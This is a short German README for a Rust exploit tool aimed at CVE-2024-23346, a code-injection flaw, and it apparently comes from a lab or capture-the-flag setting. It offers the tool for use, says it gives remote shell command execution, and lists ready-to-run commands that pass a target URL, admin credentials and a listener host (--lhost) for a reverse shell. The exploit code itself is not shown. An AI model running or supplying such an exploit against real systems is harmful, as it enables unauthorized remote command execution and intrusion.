CVE-2024-23346-rust-exploit

Ein Rust-Exploit-Skript für CVE-2024-23346.

Wie unten gezeigt, nutzt der POC die Code-Injection-Sicherheitslücke und führt Remote-Shell-Befehle wie in einem Terminal aus.

poc.webm

---

Schritte zum Ausführen des Exploits:

• Direkt mit Cargo ausführen
  • cargo run -- --help
  • cargo run -- --target http://10.10.11.38 --username "Admin" --password "Admin@123" --lhost 10.10.14.19

ODER

• Binärdatei kompilieren: cargo build -r (die Binärdatei befindet sich unter target/release/poc)
• Binärdatei ausführen:
  • ./poc --help
  • ./poc --target http://10.10.11.38 --username "Admin" --password "Admin@123" --lhost 10.10.14.19

---

Das Exploit-Skript ist inspiriert von Python Scripting Expert MAWK0235